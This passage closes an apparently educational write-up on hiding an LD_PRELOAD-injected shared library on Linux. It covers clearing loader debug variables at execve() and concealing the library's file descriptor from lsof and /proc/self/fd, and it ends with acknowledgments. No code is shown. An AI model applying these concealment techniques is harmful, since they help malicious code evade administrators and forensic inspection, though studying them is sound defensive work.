The LD_DEBUG and LD_TRACE_LOADED_OBJECTS environment variables which can make ld.so output debug informations about the libraries being loaded. The same trick used in noenviron_preload.c can be used to remove those variables when execve() is called.

The lsof program can list open file descriptors, including the one used for our preloaded shared library. It finds those informations in the /proc/self/fd/ directory. Simply hiding that file descriptor is enough to make it disappear.

Assuming skills and knowledge are not the limiting factor, the winning side will always be the one that can adapt and compile last.

Acknowledgments

Many thanks to @doegox and hastake (he is hard to find, rumor has it that he is hiding from Vatican Secret Service) for sparking and correcting some of the ideas in here.